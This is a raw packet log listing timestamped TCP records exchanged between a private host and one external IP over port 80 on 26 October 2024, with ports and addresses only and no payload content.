Oct 26, 2024 07:27:12.161477089 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.161484957 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.161493063 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.161499977 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.161508083 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.161520958 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:12.161521912 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.161531925 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.161540985 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.161542892 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:12.161550045 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.161557913 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.161564112 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:12.161567926 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.161576033 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.161576033 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:12.161586046 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.161591053 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.161607981 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:12.161633015 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:12.161854029 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.161863089 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.161879063 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.161896944 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.161904097 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:12.161905050 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.161914110 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.161922932 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.161926031 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:12.161931038 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.161941051 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.161942959 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:12.161948919 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.161957979 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.161973000 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.161973953 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:12.161990881 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.161999941 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.162002087 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:12.162009001 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.162018061 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:12.162018061 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.162033081 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.162039995 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:12.162040949 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.162062883 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:12.162081957 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:12.162252903 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.162261009 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.162276983 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.162283897 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.162300110 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:12.162307978 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.162316084 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.162322044 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:12.162323952 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.162333965 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.162348986 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.162349939 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:12.162357092 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.162364960 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.162372112 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:12.162373066 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.162381887 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.162389994 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.162391901 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:12.162399054 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.162406921 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.162410021 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:12.162416935 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.162425041 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.162429094 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:12.162432909 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.162442923 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:12.162451029 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.162462950 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:12.162468910 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.162476063 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:12.162478924 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.162487030 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.162494898 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.162503004 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.162503004 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:12.162511110 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.162528992 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.162528992 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:12.162538052 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.162544012 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:12.162547112 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.162556887 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.162564993 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.162570953 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:12.162574053 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.162590981 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.162595034 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:12.162601948 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.162615061 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:12.162628889 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:12.162653923 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:12.162666082 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.162674904 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.162688971 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.162697077 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.162713051 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.162717104 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:12.162731886 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.162739992 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.162740946 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:12.162750959 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:12.162756920 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.162766933 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.162774086 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.162781000 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:12.162782907 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.162792921 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.162801027 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.162803888 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:12.162826061 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:12.162847042 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:12.187032938 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.187040091 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.187062025 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.187071085 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.187078953 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.187088013 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.187096119 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.187104940 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.187105894 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:12.187145948 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:12.187175989 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:12.187216043 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.187225103 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.187239885 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.187247992 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.187263012 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.187266111 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:12.187285900 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:12.187310934 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:12.187591076 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.187648058 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.187655926 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.187689066 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.187701941 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:12.187730074 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:12.187962055 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.187969923 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.187985897 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.188014984 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:12.188040972 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:12.188050032 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.188057899 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.188071966 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.188080072 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.188088894 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.188105106 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:12.188107967 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.188117027 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.188124895 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.188131094 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:12.188133955 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.188152075 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:12.188172102 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:12.188322067 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.188328981 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.188344002 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.188370943 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:12.188399076 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:12.188402891 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.188412905 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.188421011 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.188427925 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.188443899 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.188448906 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:12.188462973 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.188472033 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.188472986 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:12.188479900 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.188486099 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:12.188496113 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.188503981 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.188517094 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:12.188519001 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.188528061 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.188548088 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:12.188565969 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:12.188605070 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.188612938 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.188656092 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:12.188976049 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.188983917 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.188992023 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.189007998 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.189023018 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:12.189026117 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.189043045 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.189053059 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.189065933 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:12.189089060 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:12.189157009 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.189173937 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.189182997 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.189191103 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.189193964 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:12.189203978 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.189213991 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.189225912 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:12.189235926 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.189248085 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.189250946 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.189251900 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:12.189255953 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.189296961 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:12.189311028 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.189318895 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.189337015 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.189344883 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.189356089 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:12.189359903 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.189368963 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.189378023 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.189379930 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:12.189403057 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:12.189409971 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.189418077 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.189433098 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.189456940 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:12.189459085 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.189470053 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.189479113 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.189479113 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:12.189487934 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.189503908 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:12.189519882 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.189528942 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.189529896 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:12.189539909 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.189548016 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.189558029 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:12.189584970 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.189587116 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:12.189593077 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.189609051 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.189615011 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.189632893 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:12.189652920 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:12.189680099 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.189688921 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.189728975 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:12.189766884 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.189774990 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.189790010 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.189817905 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:12.189841032 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:12.197850943 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.197859049 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.197897911 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.197905064 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.197920084 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.197927952 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.197943926 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:12.197947979 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.197957039 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.197966099 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.197979927 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.197987080 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.197993040 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:12.198004961 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.198013067 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:12.198023081 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.198029041 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:12.198033094 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.198040962 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.198050022 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:12.198079109 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:12.256728888 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:12.257389069 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:12.262871027 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.262881041 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.262897015 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.262938023 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:12.263400078 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.263500929 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.263509035 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.263518095 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.263530016 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.263549089 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:12.263551950 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.263573885 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:12.263586998 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:12.263623953 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.263633013 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.263641119 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.263649940 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.263658047 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.263669014 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:12.263674021 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.263706923 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:12.263761997 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.263770103 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.263784885 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.263792992 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.263814926 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:12.263839006 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:12.263896942 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.263906002 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.263914108 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.263921976 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.263930082 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.263941050 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:12.263972044 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:12.263998032 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.264007092 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.264022112 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.264029026 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.264038086 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.264046907 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:12.264055014 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.264065027 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.264077902 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:12.264080048 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.264105082 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:12.264127970 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:12.264313936 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.264322996 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.264338017 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.264345884 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.264359951 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:12.264362097 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.264372110 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.264386892 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.264391899 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:12.264395952 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.264411926 CEST	80	49991	185.215.113.84	192.168.2.6
